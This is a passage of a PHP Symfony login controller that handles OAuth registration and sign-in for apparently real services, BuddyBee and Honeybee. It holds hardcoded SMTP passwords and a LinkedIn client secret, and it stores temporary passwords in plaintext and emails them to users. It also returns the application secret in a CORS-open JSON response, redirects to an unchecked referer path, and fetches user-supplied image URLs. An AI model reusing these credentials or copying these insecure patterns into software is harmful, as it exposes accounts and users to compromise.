  6081.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  6082.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  6083.                     ]);
  6084.             } else {
  6085.                 $fname $oAuthData['firstName'];
  6086.                 $lname $oAuthData['lastName'];
  6087.                 $img $oAuthData['image'];
  6088.                 $email $oAuthData['email'];
  6089.                 $oAuthEmail $oAuthData['email'];
  6090.                 $userName explode('@'$email)[0];
  6091.                 //now check if same username exists
  6092.                 $username_already_exist 1;
  6093.                 $initial_user_name $userName;
  6094.                 $timeoutSafeCount 10;//only 10 timeout for safety if this fails just add the unix timestamp to make it unique
  6095.                 while ($username_already_exist == && $timeoutSafeCount 0) {
  6096.                     $isUsernameExist $applicantRepo->findOneBy([
  6097.                         'username' => $userName
  6098.                     ]);
  6099.                     if ($isUsernameExist) {
  6100.                         $username_already_exist 1;
  6101.                         $userName $initial_user_name '' rand(3009987);
  6102.                     } else {
  6103.                         $username_already_exist 0;
  6104.                     }
  6105.                     $timeoutSafeCount--;
  6106.                 }
  6107.                 if ($timeoutSafeCount == && $username_already_exist == 1) {
  6108.                     $currentUnixTimeStamp '';
  6109.                     $currentUnixTime = new \DateTime();
  6110.                     $currentUnixTimeStamp $currentUnixTime->format('U');
  6111.                     $userName $userName '' $currentUnixTimeStamp;
  6112.                 }
  6113.                 $characters '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
  6114.                 $charactersLength strlen($characters);
  6115.                 $length 8;
  6116.                 $password 0;
  6117.                 for ($i 0$i $length$i++) {
  6118.                     $password .= $characters[rand(0$charactersLength 1)];
  6119.                 }
  6120.                 $newApplicant = new EntityApplicantDetails();
  6121.                 $newApplicant->setActualRegistrationAt(new \DateTime());
  6122.                 $newApplicant->setEmail($email);
  6123.                 $newApplicant->setUserName($userName);
  6124.                 $newApplicant->setFirstname($fname);
  6125.                 $newApplicant->setLastname($lname);
  6126.                 $newApplicant->setOAuthEmail($oAuthEmail);
  6127.                 $newApplicant->setIsEmailVerified(isset($oAuthData['emailVerified']) ? ($oAuthData['emailVerified'] != '' 0) : 0);
  6128.                 $newApplicant->setOauthUniqueId($oAuthData['uniqueId']);
  6129.                 $newApplicant->setAccountStatus(1);
  6130.                 //salt will be username
  6131. //                $this->container->get('sha256salted_encoder')->isPasswordValid($user->getPassword(), $request->request->get('password'), $user->getSalt())
  6132.                 $salt uniqid(mt_rand());
  6133.                 $encodedPassword $this->container->get('app.legacy_password_service')->hashWithSalt($password$salt);
  6134.                 $newApplicant->setPassword($encodedPassword);
  6135.                 $newApplicant->setSalt($salt);
  6136.                 $newApplicant->setTempPassword($password);
  6137. //                $newApplicant->setPassword($password);
  6138.                 $marker $userName '-' time();
  6139. //                $extension_here=$uploadedFile->guessExtension();
  6140. //                $fileName = md5(uniqid()) . '.' . $uploadedFile->guessExtension();
  6141. //                $path = $fileName;
  6142.                 $upl_dir $this->container->getParameter('kernel.root_dir') . '/../web/uploads/applicants';
  6143.                 if (!file_exists($upl_dir)) {
  6144.                     mkdir($upl_dir0777true);
  6145.                 }
  6146.                 $ch curl_init($img);
  6147.                 $fp fopen($upl_dir '/' $marker '.jiff''wb');
  6148.                 curl_setopt($chCURLOPT_FILE$fp);
  6149.                 curl_setopt($chCURLOPT_HEADER0);
  6150.                 curl_exec($ch);
  6151.                 curl_close($ch);
  6152.                 fclose($fp);
  6153.                 $newApplicant->setImage('/uploads/applicants/' $marker '.jiff');
  6154. //                $newApplicant->setImage($img);
  6155.                 $newApplicant->setIsConsultant(0);
  6156.                 $newApplicant->setIsTemporaryEntry(0);
  6157.                 $newApplicant->setApplyForConsultant(0);
  6158.                 $newApplicant->setTriggerResetPassword(0);
  6159.                 $em->persist($newApplicant);
  6160.                 $em->flush();
  6161.                 $isApplicantExist $newApplicant;
  6162.                 if (GeneralConstant::EMAIL_ENABLED == 1) {
  6163.                     if ($systemType == '_BUDDYBEE_') {
  6164.                         $bodyHtml '';
  6165.                         $bodyTemplate '@Application/email/templates/buddybeeRegistrationComplete.html.twig';
  6166.                         $bodyData = array(
  6167.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  6168.                             'email' => $userName,
  6169.                             'showPassword' => $newApplicant->getTempPassword() != '' 0,
  6170.                             'password' => $newApplicant->getTempPassword(),
  6171.                         );
  6172.                         $attachments = [];
  6173.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  6174. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  6175.                         $new_mail $this->get('mail_module');
  6176.                         $new_mail->sendMyMail(array(
  6177.                             'senderHash' => '_CUSTOM_',
  6178.                             //                        'senderHash'=>'_CUSTOM_',
  6179.                             'forwardToMailAddress' => $forwardToMailAddress,
  6180.                             'subject' => 'Welcome to BuddyBee ',
  6181. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  6182.                             'attachments' => $attachments,
  6183.                             'toAddress' => $forwardToMailAddress,
  6184.                             'fromAddress' => 'registration@buddybee.eu',
  6185.                             'userName' => 'registration@buddybee.eu',
  6186.                             'password' => 'Y41dh8g0112',
  6187.                             'smtpServer' => 'smtp.hostinger.com',
  6188.                             'smtpPort' => 465,
  6189.                             'encryptionMethod' => 'ssl',
  6190. //                            'emailBody' => $bodyHtml,
  6191.                             'mailTemplate' => $bodyTemplate,
  6192.                             'templateData' => $bodyData,
  6193. //                        'embedCompanyImage' => 1,
  6194. //                        'companyId' => $companyId,
  6195. //                        'companyImagePath' => $company_data->getImage()
  6196.                         ));
  6197.                     } else {
  6198.                         $bodyHtml '';
  6199.                         $bodyTemplate '@Application/email/user/applicant_login.html.twig';
  6200.                         $bodyData = array(
  6201.                             'name' => $newApplicant->getFirstname() . ' ' $newApplicant->getLastname(),
  6202.                             'email' => 'APP-' $userName,
  6203.                             'password' => $newApplicant->getPassword(),
  6204.                         );
  6205.                         $attachments = [];
  6206.                         $forwardToMailAddress $newApplicant->getOAuthEmail();
  6207. //                    $upl_dir = $this->container->getParameter('kernel.root_dir') . '/../web/uploads/temp/' . 'ledger' . '.pdf'
  6208.                         $new_mail $this->get('mail_module');
  6209.                         $new_mail->sendMyMail(array(
  6210.                             'senderHash' => '_CUSTOM_',
  6211.                             //                        'senderHash'=>'_CUSTOM_',
  6212.                             'forwardToMailAddress' => $forwardToMailAddress,
  6213.                             'subject' => 'Applicant Registration on Honeybee',
  6214. //                        'fileName' => 'Order#' . str_pad($id, 8, '0', STR_PAD_LEFT) . '.pdf',
  6215.                             'attachments' => $attachments,
  6216.                             'toAddress' => $forwardToMailAddress,
  6217.                             'fromAddress' => 'accounts@ourhoneybee.eu',
  6218.                             'userName' => 'accounts@ourhoneybee.eu',
  6219.                             'password' => 'Honeybee@0112',
  6220.                             'smtpServer' => 'smtp.hostinger.com',
  6221.                             'smtpPort' => 465,
  6222.                             'encryptionMethod' => 'ssl',
  6223. //                            'emailBody' => $bodyHtml,
  6224.                             'mailTemplate' => $bodyTemplate,
  6225.                             'templateData' => $bodyData,
  6226. //                        'embedCompanyImage' => 1,
  6227. //                        'companyId' => $companyId,
  6228. //                        'companyImagePath' => $company_data->getImage()
  6229.                         ));
  6230.                     }
  6231.                 }
  6232.                 if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6233.                 } else {
  6234.                     return $this->redirectToRoute("core_login", [
  6235.                         'id' => $newApplicant->getApplicantId(),
  6236.                         'oAuthData' => $oAuthData,
  6237.                         'encData' => $encData,
  6238.                         'remoteVerify' => $request->request->get('remoteVerify'0),
  6239.                         'locale' => $request->request->get('locale''en'),
  6240.                         'firebaseToken' => $request->request->get('firebaseToken'''),
  6241.                     ]);
  6242.                 }
  6243.             }
  6244.         }
  6245.         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6246.             if ($isApplicantExist) {
  6247.                 $user $isApplicantExist;
  6248.                 $userType UserConstants::USER_TYPE_APPLICANT;
  6249.                 if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  6250.                     $session->set(UserConstants::USER_ID$user->getApplicantId());
  6251.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  6252.                     $session->set(UserConstants::IS_CONSULTANT$user->getIsConsultant() == 0);
  6253.                     $session->set('BUDDYBEE_BALANCE'$user->getAccountBalance());
  6254.                     $session->set('BUDDYBEE_COIN_BALANCE'$user->getSessionCountBalance());
  6255.                     $session->set(UserConstants::IS_BUDDYBEE_RETAILER$user->getIsRetailer() == 0);
  6256.                     $session->set(UserConstants::BUDDYBEE_RETAILER_LEVEL$user->getRetailerLevel() == 0);
  6257.                     $session->set(UserConstants::BUDDYBEE_ADMIN_LEVEL$user->getIsAdmin() == : ($user->getIsModerator() == 0));
  6258.                     $session->set(UserConstants::IS_BUDDYBEE_MODERATOR$user->getIsModerator() == 0);
  6259.                     $session->set(UserConstants::IS_BUDDYBEE_ADMIN$user->getIsAdmin() == 0);
  6260.                     // $session->set(UserConstants::SUPPLIER_ID, $user->getSupplierId());
  6261.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_APPLICANT);
  6262.                     $session->set(UserConstants::USER_EMAIL$user->getOauthEmail());
  6263.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  6264.                     $session->set(UserConstants::USER_NAME$user->getFirstName() . ' ' $user->getLastName());
  6265.                     $session->set(UserConstants::USER_DEFAULT_ROUTE'');
  6266.                     $session->set(UserConstants::USER_COMPANY_ID1);
  6267.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode([]));
  6268.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode([]));
  6269.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  6270.                     $session->set('userCompanyDarkVibrantList'json_encode([]));
  6271.                     $session->set('userCompanyVibrantList'json_encode([]));
  6272.                     $session->set('userCompanyLightVibrantList'json_encode([]));
  6273.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode([]));
  6274.                     $session->set(UserConstants::USER_APP_ID0);
  6275.                     $session->set(UserConstants::USER_POSITION_LIST'[]');
  6276.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG0);
  6277.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  6278.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  6279.                     $session->set(UserConstants::USER_GOC_ID0);
  6280.                     $session->set(UserConstants::USER_DB_NAME'');
  6281.                     $session->set(UserConstants::USER_DB_USER'');
  6282.                     $session->set(UserConstants::USER_DB_PASS'');
  6283.                     $session->set(UserConstants::USER_DB_HOST'');
  6284.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE'');
  6285.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  6286.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  6287.                     $session->set('oAuthToken'$request->request->get('oAuthToken'''));
  6288.                     $session->set('locale'$request->request->get('locale'''));
  6289.                     $session->set('firebaseToken'$request->request->get('firebaseToken'''));
  6290.                     $route_list_array = [];
  6291.                     $session->set(UserConstants::USER_CURRENT_POSITION0);
  6292.                     $loginID 0;
  6293.                     $loginID MiscActions::addEntityUserLoginLog(
  6294.                         $em,
  6295.                         $session->get(UserConstants::USER_ID),
  6296.                         $session->get(UserConstants::USER_ID),
  6297.                         1,
  6298.                         $request->server->get("REMOTE_ADDR"),
  6299.                         0,
  6300.                         $request->request->get('deviceId'''),
  6301.                         $request->request->get('oAuthToken'''),
  6302.                         $request->request->get('oAuthType'''),
  6303.                         $request->request->get('locale'''),
  6304.                         $request->request->get('firebaseToken''')
  6305.                     );
  6306.                     $session->set(UserConstants::USER_LOGIN_ID$loginID);
  6307.                     $session_data = array(
  6308.                         UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  6309.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  6310.                         UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  6311.                         'oAuthToken' => $session->get('oAuthToken'),
  6312.                         'locale' => $session->get('locale'),
  6313.                         'firebaseToken' => $session->get('firebaseToken'),
  6314.                         'token' => $session->get('token'),
  6315.                         'firstLogin' => 0,
  6316.                         'BUDDYBEE_BALANCE' => $session->get('BUDDYBEE_BALANCE'),
  6317.                         'BUDDYBEE_COIN_BALANCE' => $session->get('BUDDYBEE_COIN_BALANCE'),
  6318.                         UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  6319.                         UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
  6320.                         UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  6321.                         UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  6322.                         UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  6323.                         UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  6324.                         UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  6325.                         UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  6326.                         UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  6327.                         'oAuthImage' => $session->get('oAuthImage'),
  6328.                         UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  6329.                         UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  6330.                         UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  6331.                         UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  6332.                         UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  6333.                         UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  6334.                         UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  6335.                         UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  6336.                         UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  6337.                         UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  6338.                         UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  6339.                         'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  6340.                         'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  6341.                         'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  6342.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  6343.                         UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  6344.                         UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  6345.                         UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  6346.                         UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  6347.                         UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  6348.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  6349.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  6350.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  6351.                         //new
  6352.                         'appIdList' => $session->get('appIdList'),
  6353.                         'branchIdList' => $session->get('branchIdList'null),
  6354.                         'branchId' => $session->get('branchId'null),
  6355.                         'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  6356.                         'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  6357.                         'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  6358.                     );
  6359.                     $session_data $this->filterClientSessionData($session_data);
  6360.                     $tokenData MiscActions::CreateTokenFromSessionData($em$session_data);
  6361.                     $session_data $tokenData['sessionData'];
  6362.                     $token $tokenData['token'];
  6363.                     $session->set('token'$token);
  6364.                     if ($request->request->get('remoteVerify'0) == || $request->query->get('remoteVerify'0) == 1) {
  6365.                         $session->set('remoteVerified'1);
  6366.                         $response = new JsonResponse(array(
  6367.                             'token' => $token,
  6368.                             'uid' => $session->get(UserConstants::USER_ID),
  6369.                             'session' => $session,
  6370.                             'success' => true,
  6371.                             'session_data' => $session_data,
  6372.                         ));
  6373.                         $response->headers->set('Access-Control-Allow-Origin''*');
  6374.                         return $response;
  6375.                     }
  6376.                     if ($request->request->has('referer_path')) {
  6377.                         if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '') {
  6378.                             return $this->redirect($request->request->get('referer_path'));
  6379.                         }
  6380.                     }
  6381.                     $redirectRoute 'applicant_dashboard';
  6382.                     if ($request->query->has('encData')) {
  6383.                         if ($request->query->get('encData') == '8917922')
  6384.                             $redirectRoute 'apply_for_consultant';
  6385.                     }
  6386.                     return $this->redirectToRoute($redirectRoute);
  6387.                 }
  6388. //                    $response = new JsonResponse(array(
  6389. //                        'token' => $token,
  6390. //                        'uid' => $session->get(UserConstants::USER_ID),
  6391. //                        'session' => $session,
  6392. //
  6393. //                        'success' => true,
  6394. //                        'session_data' => $session_data,
  6395. //
  6396. //                    ));
  6397. //                    $response->headers->set('Access-Control-Allow-Origin', '*');
  6398. //                    return $response;
  6399. //                    return $this->redirectToRoute("user_login", [
  6400. //                        'id' => $isApplicantExist->getApplicantId(),
  6401. //                        'oAuthData' => $oAuthData,
  6402. //                        'encData' => $encData,
  6403. //                        'locale' => $request->request->get('locale', 'en'),
  6404. //                        'remoteVerify' => $request->request->get('remoteVerify', 0),
  6405. //                        'firebaseToken' => $request->request->get('firebaseToken', ''),
  6406. //                    ]);
  6407.             }
  6408.         }
  6409. //        if ($request->isMethod('POST')){
  6410. //            $new = new EntityApplicantDetails();
  6411. //
  6412. //            $new-> setUsername->$request->request->get('userName');
  6413. //            $new-> setEmail()->$request->request->get('email');
  6414. //            $new-> setPassword()->$request->request->get('password');
  6415. //            $new-> setSelector()->$request->request->get('selector');
  6416. //
  6417. //
  6418. //            $em->persist($new);
  6419. //            $em->flush();
  6420. //        }
  6421.         $selector BuddybeeConstant::$selector;
  6422.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  6423.         $twig_file '@Authentication/pages/views/applicant_login.html.twig';
  6424.         if ($systemType == '_ERP_') {
  6425.         } else if ($systemType == '_BUDDYBEE_') {
  6426.             return $this->render(
  6427.                 '@Authentication/pages/views/applicant_login.html.twig',
  6428.                 [
  6429.                     'page_title' => 'BuddyBee Login',
  6430.                     'oAuthLink' => $google_client->createAuthUrl(),
  6431.                     'redirect_url' => $url,
  6432.                     'message' => $message,
  6433.                     'errorField' => $errorField,
  6434.                     'encData' => $encData,
  6435.                     'state' => 'DCEeFWf45A53sdfKeSS424',
  6436.                     'selector' => $selector
  6437.                 ]
  6438.             );
  6439.         }
  6440.         return $this->render(
  6441.             '@Authentication/pages/views/applicant_login.html.twig',
  6442.             [
  6443.                 'page_title' => 'Applicant Registration',
  6444.                 'oAuthLink' => $google_client->createAuthUrl(),
  6445.                 'redirect_url' => $url,
  6446.                 'encData' => $encData,
  6447.                 'message' => $message,
  6448.                 'errorField' => $errorField,
  6449.                 'state' => 'DCEeFWf45A53sdfKeSS424',
  6450.                 'selector' => $selector
  6451.             ]
  6452.         );
  6453.     }
  6454.     public function centralLoginAction(Request $request$encData ''$remoteVerify 0)
  6455.     {
  6456.         $session $request->getSession();
  6457.         $email $request->getSession()->get('userEmail');
  6458.         $sessionUserId $request->getSession()->get('userId');
  6459.         $oAuthData = [];
  6460. //    $encData='';
  6461.         $em $this->getDoctrine()->getManager('company_group');
  6462.         $applicantRepo $em->getRepository(EntityApplicantDetails::class);
  6463.         $redirectRoute 'dashboard';
  6464.         if ($encData != '') {
  6465.             if ($encData == '8917922')
  6466.                 $redirectRoute 'apply_for_consultant';
  6467.         }
  6468.         if ($request->query->has('encData')) {
  6469.             $encData $request->query->get('encData');
  6470.             if ($encData == '8917922')
  6471.                 $redirectRoute 'apply_for_consultant';
  6472.         }
  6473.         $message '';
  6474.         $errorField '_NONE_';
  6475.         if ($request->query->has('message')) {
  6476.             $message $request->query->get('message');
  6477.         }
  6478.         if ($request->query->has('errorField')) {
  6479.             $errorField $request->query->get('errorField');
  6480.         }
  6481.         if ($request->request->has('oAuthData')) {
  6482.             $oAuthData $request->request->get('oAuthData', []);
  6483.         } else {
  6484.             $oAuthData = [
  6485.                 'email' => $request->request->get('email'''),
  6486.                 'uniqueId' => $request->request->get('uniqueId'''),
  6487.                 'oAuthHash' => '_NONE_',
  6488.                 'image' => $request->request->get('image'''),
  6489.                 'emailVerified' => $request->request->get('emailVerified'''),
  6490.                 'name' => $request->request->get('name'''),
  6491.                 'firstName' => $request->request->get('firstName'''),
  6492.                 'lastName' => $request->request->get('lastName'''),
  6493.                 'type' => 1,
  6494.                 'token' => $request->request->get('oAuthtoken'''),
  6495.             ];
  6496.         }
  6497.         $isApplicantExist null;
  6498.         if ($email) {
  6499.             if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  6500.                 $isApplicantExist $applicantRepo->findOneBy([
  6501.                     'applicantId' => $sessionUserId
  6502.                 ]);
  6503.             } else
  6504.                 return $this->redirectToRoute($redirectRoute);
  6505.         }
  6506.         $google_client = new Google_Client();
  6507. //        $google_client->setClientId('916737688016-l2qfmb9p37cumudkaqpu8s7ndngq9una.apps.googleusercontent.com');
  6508. //        $google_client->setClientSecret('BEWpEBRvv3-hSoB4cGBrVB3z');
  6509.         if (version_compare(PHP_VERSION'5.4.0''>=') && !(defined('JSON_C_VERSION') && PHP_INT_SIZE 4)) {
  6510.             $url $this->generateUrl('user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL);
  6511.         } else {
  6512.             $url $this->generateUrl(
  6513.                 'user_login', ['encData' => $encData], UrlGenerator::ABSOLUTE_URL
  6514.             );
  6515.         }
  6516.         $selector BuddybeeConstant::$selector;
  6517.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  6518.         $ownServerId $this->container->hasParameter('server_id') ? $this->container->getParameter('server_id') : '_NONE_';
  6519. //        $this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json';
  6520. //        $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/client_secret.json');
  6521.         $google_client->setAuthConfig($this->container->getParameter('kernel.root_dir') . '/../src/ApplicationBundle/Resources/config/central_config.json');
  6522. //        $google_client->addScope(Google_Service\Drive::DRIVE_METADATA_READONLY);
  6523.         $google_client->setRedirectUri($url);
  6524.         $google_client->setAccessType('offline');        // offline access
  6525.         $google_client->setIncludeGrantedScopes(true);   // incremental auth
  6526.         $google_client->addScope('email');
  6527.         $google_client->addScope('profile');
  6528.         $google_client->addScope('openid');
  6529. //    $google_client->setRedirectUri('http://localhost/applicant_login');
  6530.         //linked in 1st
  6531.         if (isset($_GET["code"]) && isset($_GET["state"])) {
  6532.             $curl curl_init();
  6533.             curl_setopt_array($curl, array(
  6534.                 CURLOPT_RETURNTRANSFER => true,   // return web page
  6535.                 CURLOPT_HEADER => false,  // don't return headers
  6536.                 CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  6537.                 CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  6538.                 CURLOPT_ENCODING => "",     // handle compressed
  6539.                 CURLOPT_USERAGENT => "test"// name of client
  6540.                 CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  6541.                 CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  6542.                 CURLOPT_TIMEOUT => 120,    // time-out on response
  6543.                 CURLOPT_URL => 'https://www.linkedin.com/oauth/v2/accessToken',
  6544.                 CURLOPT_USERAGENT => 'InnoPM',
  6545.                 CURLOPT_POSTFIELDS => urldecode("grant_type=authorization_code&code=" $_GET["code"] . "&redirect_uri=$url&client_id=86wi39zpo46wsl&client_secret=X59ktZnreWPomqIe"),
  6546.                 CURLOPT_POST => 1,
  6547.                 CURLOPT_HTTPHEADER => array(
  6548.                     'Content-Type: application/x-www-form-urlencoded'
  6549.                 )
  6550.             ));
  6551.             $content curl_exec($curl);
  6552.             $contentArray = [];
  6553.             curl_close($curl);
  6554.             $token false;
  6555. //      return new JsonResponse(array(
  6556. //          'content'=>$content,
  6557. //          'contentArray'=>json_decode($content,true),
  6558. //
  6559. //      ));
  6560.             if ($content) {
  6561.                 $contentArray json_decode($contenttrue);
  6562.                 $token $contentArray['access_token'];
  6563.             }
  6564.             if ($token) {
  6565.                 $applicantInfo = [];
  6566.                 $curl curl_init();
  6567.                 curl_setopt_array($curl, array(
  6568.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  6569.                     CURLOPT_HEADER => false,  // don't return headers
  6570.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  6571.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  6572.                     CURLOPT_ENCODING => "",     // handle compressed
  6573.                     CURLOPT_USERAGENT => "test"// name of client
  6574.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  6575.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  6576.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  6577.                     CURLOPT_URL => 'https://api.linkedin.com/v2/me?projection=(id,localizedFirstName,localizedLastName,firstName,lastName,profilePicture(displayImage~:playableStreams))',
  6578.                     CURLOPT_USERAGENT => 'InnoPM',
  6579.                     CURLOPT_HTTPGET => 1,
  6580.                     CURLOPT_HTTPHEADER => array(
  6581.                         'Authorization: Bearer ' $token,
  6582.                         'Header-Key-2: Header-Value-2'
  6583.                     )
  6584.                 ));
  6585.                 $userGeneralcontent curl_exec($curl);
  6586.                 curl_close($curl);
  6587.                 if ($userGeneralcontent) {
  6588.                     $userGeneralcontent json_decode($userGeneralcontenttrue);
  6589.                 }
  6590.                 $curl curl_init();
  6591.                 curl_setopt_array($curl, array(
  6592.                     CURLOPT_RETURNTRANSFER => true,   // return web page
  6593.                     CURLOPT_HEADER => false,  // don't return headers
  6594.                     CURLOPT_FOLLOWLOCATION => true,   // follow redirects
  6595.                     CURLOPT_MAXREDIRS => 10,     // stop after 10 redirects
  6596.                     CURLOPT_ENCODING => "",     // handle compressed
  6597.                     CURLOPT_USERAGENT => "test"// name of client
  6598.                     CURLOPT_AUTOREFERER => true,   // set referrer on redirect
  6599.                     CURLOPT_CONNECTTIMEOUT => 120,    // time-out on connect
  6600.                     CURLOPT_TIMEOUT => 120,    // time-out on response
  6601.                     CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress?q=members&projection=(elements*(handle~))',
  6602. //            CURLOPT_URL => 'https://api.linkedin.com/v2/emailAddress',
  6603.                     CURLOPT_USERAGENT => 'InnoPM',
  6604.                     CURLOPT_HTTPGET => 1,
  6605.                     CURLOPT_HTTPHEADER => array(
  6606.                         'Authorization: Bearer ' $token,
  6607.                         'Header-Key-2: Header-Value-2'
  6608.                     )
  6609.                 ));
  6610.                 $userEmailcontent curl_exec($curl);
  6611.                 curl_close($curl);
  6612.                 $token false;
  6613.                 if ($userEmailcontent) {
  6614.                     $userEmailcontent json_decode($userEmailcontenttrue);
  6615.                 }
  6616. //        $oAuthEmail = $applicantInfo['email'];
  6617. //        return new JsonResponse(array(
  6618. //          'userEmailcontent'=>$userEmailcontent,
  6619. //          'userGeneralcontent'=>$userGeneralcontent,
  6620. //        ));
  6621. //        return new response($userGeneralcontent);
  6622.                 $oAuthData = [
  6623.                     'email' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  6624.                     'uniqueId' => $userGeneralcontent['id'],
  6625.                     'image' => $userGeneralcontent['profilePicture']['displayImage~']['elements'][0]['identifiers'][0]['identifier'],
  6626.                     'emailVerified' => $userEmailcontent['elements'][0]['handle~']['emailAddress'],
  6627.                     'name' => $userGeneralcontent['localizedFirstName'] . ' ' $userGeneralcontent['localizedLastName'],
  6628.                     'firstName' => $userGeneralcontent['localizedFirstName'],
  6629.                     'lastName' => $userGeneralcontent['localizedLastName'],
  6630.                     'type' => 1,
  6631.                     'token' => $token,
  6632.                 ];
  6633.             }
  6634.         } else if (isset($_GET["code"])) {
  6635.             $token $google_client->fetchAccessTokenWithAuthCode($_GET["code"]);
  6636.             if (!isset($token['error'])) {
  6637.                 $google_client->setAccessToken($token['access_token']);
  6638.                 $google_service = new Google_Service_Oauth2($google_client);
  6639.                 $applicantInfo $google_service->userinfo->get();
  6640.                 $oAuthEmail $applicantInfo['email'];
  6641.                 $oAuthData = [
  6642.                     'email' => $applicantInfo['email'],
  6643.                     'uniqueId' => $applicantInfo['id'],
  6644.                     'image' => $applicantInfo['picture'],
  6645.                     'emailVerified' => $applicantInfo['verifiedEmail'],
  6646.                     'name' => $applicantInfo['givenName'] . ' ' $applicantInfo['familyName'],
  6647.                     'firstName' => $applicantInfo['givenName'],
